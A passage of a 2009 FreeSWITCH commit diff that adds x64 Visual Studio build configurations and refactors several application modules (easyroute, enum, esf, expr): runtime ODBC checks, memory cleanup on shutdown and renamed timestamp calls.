+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\mod_easyroute.c"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/src/mod/applications/mod_easyroute/mod_easyroute.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_easyroute/mod_easyroute.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_easyroute/mod_easyroute.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,7 +17,7 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * The Initial Developer of this module is
  * Ken Rice <krice at rmktek dot com>
@@ -38,13 +38,8 @@
 
 #include <switch.h>
 
-#ifdef SWITCH_HAVE_ODBC
-#include <switch_odbc.h>
-#endif
-
 typedef struct easyroute_results{
 	char	limit[16];
-	char	destnum[16];
 	char	dialstring[256];
 	char	group[16];
 	char	acctcode[17];
@@ -69,11 +64,7 @@
 	char *default_gateway;
 	switch_mutex_t *mutex;
 	char *custom_query;
-#ifdef SWITCH_HAVE_ODBC
 	switch_odbc_handle_t *master_odbc;
-#else   
-	void *filler1;
-#endif
 } globals;
 
 SWITCH_MODULE_LOAD_FUNCTION(mod_easyroute_load);
@@ -87,7 +78,6 @@
 SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_default_gateway, globals.default_gateway);
 SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_custom_query, globals.custom_query);
 
-#ifdef SWITCH_HAVE_ODBC
 static int route_callback(void *pArg, int argc, char **argv, char **columnNames)
 {
 	route_callback_t *cbt = (route_callback_t *) pArg;
@@ -101,7 +91,6 @@
 
 	return 0;
 }
-#endif
 
 static switch_status_t load_config(void)
 {
@@ -146,9 +135,7 @@
 		set_global_db_dsn("easyroute");
 	}
 
-
-#ifdef SWITCH_HAVE_ODBC
-	if (globals.db_dsn) {
+	if (switch_odbc_available() && globals.db_dsn) {
 		if (!(globals.master_odbc = switch_odbc_handle_new(globals.db_dsn, globals.db_username, globals.db_password))) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
 			status = SWITCH_STATUS_FALSE;
@@ -172,15 +159,12 @@
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot find  SQL Database! (Where\'s the gateways table\?\?)\n");
 			}
 		}
-	} else {
-#endif
+	} else if (globals.db_dsn) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Connection (did you enable it?!)\n");
-#ifdef SWITCH_HAVE_ODBC
 	}
 
 reallydone:
 
-#endif
 	if (xml) {
 		switch_xml_free(xml);
 	}
@@ -197,11 +181,16 @@
 
 static switch_status_t route_lookup(char *dn, easyroute_results_t *results, int noat, char *seperator)
 {	
-#ifdef SWITCH_HAVE_ODBC
 	switch_status_t sstatus = SWITCH_STATUS_SUCCESS;
 	char *sql = NULL;
 	route_callback_t pdata;
 
+	if (!switch_odbc_available()) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, 
+						  "mod_easyroute requires core ODBC support. Please refer to the documentation on how to enable this\n");
+		return sstatus;
+	}
+
 	memset(&pdata, 0, sizeof(pdata));
 	if (!globals.custom_query){
 		sql = switch_mprintf(SQL_LOOKUP, dn);
@@ -276,9 +265,8 @@
 		switch_set_string(results->acctcode, "");
 	}
 
-#else
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "mod_easyroute requires core ODBC support. Please refer to the documentation on how to enable this\n");
-#endif
+	switch_safe_free(sql);
+
 	if (globals.mutex){
 		switch_mutex_unlock(globals.mutex);
 	}
@@ -319,7 +307,7 @@
 		}
 		route_lookup(destnum, &results, noat, seperator);
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "EASY ROUTE DEST: [%s]\n", results.dialstring);
-		switch_channel_set_variable(channel, "easy_destnum", results.destnum);
+		switch_channel_set_variable(channel, "easy_destnum", destnum);
 		switch_channel_set_variable(channel, "easy_dialstring", results.dialstring);
 		switch_channel_set_variable(channel, "easy_group", results.group);
 		switch_channel_set_variable(channel, "easy_limit", results.limit);
@@ -336,27 +324,32 @@
 	char *seperator = NULL;
 	int noat = 0;
 	easyroute_results_t results;
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
 	
 	if (session) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This function cannot be called from the dialplan.\n");
-		return SWITCH_STATUS_FALSE;
+		status = SWITCH_STATUS_FALSE;
+		goto done;
 	}
 
-#ifndef SWITCH_HAVE_ODBC
-	stream->write_function(stream, "mod_easyroute requires you enable core odbc support\n");
-	return SWITCH_STATUS_SUCCESS;
-#endif
+	if (!switch_odbc_available()) {
+		stream->write_function(stream, "mod_easyroute requires you enable core odbc support\n");
+		status = SWITCH_STATUS_SUCCESS;
+		goto done;
+	}
 	
 	if (!cmd || !(mydata = strdup(cmd))) {
 		stream->write_function(stream, "Usage: easyroute <number>\n");
-		return SWITCH_STATUS_SUCCESS;
+		status = SWITCH_STATUS_SUCCESS;
+		goto done;
 	}
 	
 	if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
 		destnum = argv[0];
 		if (argc < 1 || argc > 3){
 			stream->write_function(stream, "Invalid Input!\n");
-			return SWITCH_STATUS_SUCCESS;
+			status = SWITCH_STATUS_SUCCESS;
+			goto done;
 		} 
 		if (argc == 2) {
 			if (!strcasecmp(argv[1], "noat")) {
@@ -371,7 +364,8 @@
 		
 		if (!route_lookup(destnum, &results, noat, seperator) == SWITCH_STATUS_SUCCESS) {
 			stream->write_function(stream, "No Match!\n");
-			return SWITCH_STATUS_SUCCESS;
+			status = SWITCH_STATUS_SUCCESS;
+			goto done;
 		}
 		if (argc != 2){
 			stream->write_function(stream, "Number    \tLimit     \tGroup    \tAcctCode  \tDialstring\n");
@@ -389,15 +383,17 @@
 				stream->write_function(stream, "%s", results.acctcode);
 			} else {
 				stream->write_function(stream, "Invalid Input!\n");
-				return SWITCH_STATUS_SUCCESS;
+				status = SWITCH_STATUS_SUCCESS;
+				goto done;
 			}
 		} 
 	} else {
 		stream->write_function(stream, "Invalid Input!\n");
 	}
 	
-	return SWITCH_STATUS_SUCCESS;
-
+ done:
+	switch_safe_free(mydata);
+	return status;
 }
 
 SWITCH_MODULE_LOAD_FUNCTION(mod_easyroute_load)
@@ -419,9 +415,14 @@
 
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_easyroute_shutdown)
 {	
-#ifdef SWITCH_HAVE_ODBC
 	switch_odbc_handle_disconnect(globals.master_odbc);
-#endif
+	switch_safe_free(globals.db_username);
+	switch_safe_free(globals.db_password);
+	switch_safe_free(globals.db_dsn);
+	switch_safe_free(globals.default_techprofile);
+	switch_safe_free(globals.default_gateway);
+	switch_safe_free(globals.custom_query);
+
 	return SWITCH_STATUS_UNLOAD;
 }
 

Property changes: freeswitch/branches/seven/src/mod/applications/mod_enum


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/applications/mod_enum/mod_enum.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_enum/mod_enum.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_enum/mod_enum.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -80,6 +83,72 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="0"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\udns&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -142,6 +211,72 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="0"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\udns&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="ws2_32.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/applications/mod_enum/mod_enum.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_enum/mod_enum.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_enum/mod_enum.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * mod_enum.c -- ENUM
  *
@@ -93,9 +93,9 @@
 	route = switch_core_alloc(globals.pool, sizeof(*route));
 
 
-	route->service = strdup(service);
-	route->regex = strdup(regex);
-	route->replace = strdup(replace);
+	route->service = switch_core_strdup(globals.pool, service);
+	route->regex = switch_core_strdup(globals.pool, regex);
+	route->replace = switch_core_strdup(globals.pool, replace);
 
 	switch_mutex_lock(MUTEX);
 	if (!globals.route_order) {
@@ -531,7 +531,7 @@
 		tv.tv_sec = i;
 		tv.tv_usec = 0;
 		i = select((int) (fd + 1), &fds, 0, 0, &tv);
-		now = switch_timestamp(NULL);
+		now = switch_epoch_time_now(NULL);
 		if (i > 0) {
 			dns_ioevent(nctx, now);
 		}
@@ -639,7 +639,7 @@
 					continue;
 				}
 				switch_snprintf(vbuf, sizeof(vbuf), "enum_route_%d", cnt++);
-				switch_channel_set_variable(channel, vbuf, rp->route);
+				switch_channel_set_variable_var_check(channel, vbuf, rp->route, SWITCH_FALSE);
 				if (rp->preference == last_pref && rp->order == last_order) {
 					*last_delim = ',';
 				}
@@ -653,9 +653,9 @@
 			}
 
 			switch_snprintf(vbuf, sizeof(vbuf), "%d", cnt - 1);
-			switch_channel_set_variable(channel, "enum_route_count", vbuf);
+			switch_channel_set_variable_var_check(channel, "enum_route_count", vbuf, SWITCH_FALSE);
 			*(rbuf + strlen(rbuf) - 1) = '\0';
-			switch_channel_set_variable(channel, "enum_auto_route", rbuf);
+			switch_channel_set_variable_var_check(channel, "enum_auto_route", rbuf, SWITCH_FALSE);
 			free_results(&results);
 		}
 	}
@@ -802,7 +802,9 @@
 static void event_handler(switch_event_t *event)
 {
 	if (globals.auto_reload) {
+		switch_mutex_lock(MUTEX);
 		do_load();
+		switch_mutex_unlock(MUTEX);
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "ENUM Reloaded\n");
 	}
 }
@@ -848,6 +850,9 @@
 	if (globals.pool) {
 		switch_core_destroy_memory_pool(&globals.pool);
 	}
+	
+	switch_safe_free(globals.root);
+	switch_safe_free(globals.isn_root);
 
 	return SWITCH_STATUS_UNLOAD;
 }

Property changes: freeswitch/branches/seven/src/mod/applications/mod_esf


Name: svn:ignore
   - mod_esf.so
.libs
Debug
*.pdb
*.user
Release
debug
   + mod_esf.so
.libs
Debug
*.pdb
*.user
Release
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/applications/mod_esf/mod_esf.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_esf/mod_esf.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_esf/mod_esf.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/applications/mod_esf/mod_esf.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_esf/mod_esf.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_esf/mod_esf.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_esf.c -- Extra SIP Functionality
@@ -64,7 +64,7 @@
 	switch_status_t status;
 	switch_size_t bytes;
 	ls_control_packet_t control_packet;
-	switch_codec_t codec = { 0 }, *read_codec, *orig_codec = NULL;
+	switch_codec_t codec = { 0 };
 	uint32_t flags = 0;
 	const char *err;
 	switch_rtp_t *rtp_session = NULL;
@@ -78,7 +78,10 @@
 	switch_port_t mcast_control_port = 6061;
 	char *mcast_port_str = "34567";
 	const char *esf_broadcast_ip = NULL, *var;
+	switch_codec_implementation_t read_impl = {0};
+    switch_core_session_get_read_impl(session, &read_impl);
 
+
 	if (!switch_strlen_zero((char *) data)) {
 		mydata = switch_core_session_strdup(session, data);
 		assert(mydata != NULL);
@@ -120,8 +123,6 @@
 		switch_channel_answer(channel);
 	}
 
-	read_codec = switch_core_session_get_read_codec(session);
-
 	if (switch_socket_create(&socket, AF_INET, SOCK_DGRAM, 0, switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Socket Error 1\n");
 		goto fail;
@@ -144,7 +145,7 @@
 			goto fail;
 		}
 
-		if (read_frame->packet && read_frame->packetlen && read_codec->implementation->ianacode == 0) {
+		if (read_frame->packet && read_frame->packetlen && read_impl.ianacode == 0) {
 			ready = SEND_TYPE_RAW;
 		} else {
 			ready = SEND_TYPE_RTP;
@@ -152,7 +153,7 @@
 	}
 
 	if (ready == SEND_TYPE_RTP) {
-		if (read_codec->implementation->ianacode != 0) {
+		if (read_impl.ianacode != 0) {
 			if (switch_core_codec_init(&codec,
 									   "PCMU",
 									   NULL,
@@ -160,9 +161,7 @@
 									   20,
 									   1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
 									   NULL, switch_core_session_get_pool(session)) == SWITCH_STATUS_SUCCESS) {
-				orig_codec = read_codec;
-				read_codec = &codec;
-				switch_core_session_set_read_codec(session, read_codec);
+				switch_core_session_set_read_codec(session, &codec);
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Codec Activation Success\n");
 			} else {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Codec Activation Fail\n");
@@ -173,7 +172,7 @@
 		if ((var = switch_channel_get_variable(channel, "esf_broadcast_ip"))) {
 			esf_broadcast_ip = switch_core_session_strdup(session, var);
 		} else {
-			switch_find_local_ip(guess_ip, sizeof(guess_ip), AF_INET);
+			switch_find_local_ip(guess_ip, sizeof(guess_ip), NULL, AF_INET);
 			esf_broadcast_ip = guess_ip;
 		}
 
@@ -187,9 +186,9 @@
 									 rtp_port,
 									 mcast_ip,
 									 mcast_port,
-									 read_codec->implementation->ianacode,
-									 read_codec->implementation->samples_per_packet,
-									 read_codec->implementation->microseconds_per_packet,
+									 read_impl.ianacode,
+									 read_impl.samples_per_packet,
+									 read_impl.microseconds_per_packet,
 									 (switch_rtp_flag_t) flags, "soft", &err, switch_core_session_get_pool(session));
 
 		if (!switch_rtp_ready(rtp_session)) {
@@ -205,7 +204,7 @@
 		}
 	}
 
-	control_packet.unique_id = htonl((u_long) switch_timestamp(NULL));
+	control_packet.unique_id = htonl((u_long) switch_epoch_time_now(NULL));
 	control_packet.command = htonl(LS_START_BCAST);
 	control_packet.ip = inet_addr(mcast_ip);
 	control_packet.port = htonl(mcast_port);
@@ -233,7 +232,7 @@
 		}
 	}
 
-	control_packet.unique_id = htonl((u_long) switch_timestamp(NULL));
+	control_packet.unique_id = htonl((u_long) switch_epoch_time_now(NULL));
 	control_packet.command = htonl(LS_STOP_BCAST);
 	bytes = 8;
 	switch_socket_sendto(socket, control_packet_addr, 0, (void *) &control_packet, &bytes);
@@ -242,8 +241,8 @@
 
   fail:
 
-	if (orig_codec) {
-		switch_core_session_set_read_codec(session, orig_codec);
+	switch_core_session_set_read_codec(session, NULL);
+	if (switch_core_codec_ready(&codec)) {
 		switch_core_codec_destroy(&codec);
 	}
 

Property changes: freeswitch/branches/seven/src/mod/applications/mod_expr


Name: svn:ignore
   - mod_expr.so
.libs
Debug
*.pdb
*.user
Release
debug
   + mod_expr.so
.libs
Debug
*.pdb
*.user
Release
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/applications/mod_expr/exprpriv.h (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_expr/exprpriv.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_expr/exprpriv.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -206,17 +206,17 @@
 int exprFuncListAddType(exprFuncList *flist, char *name, int type, int min, int max, int refmin, int refmax);
 int exprFuncListGet(exprFuncList *flist, char *name, exprFuncType *ptr, int *type, int *min, int *max, int *refmin, int *refmax);
 
-#ifdef WIN32
-#define SWITCH_DECLARE(type)			__declspec(dllimport) type __stdcall
-#else
-#define SWITCH_DECLARE(type) type 
-#endif
-
-SWITCH_DECLARE(int) switch_isalnum(int c);
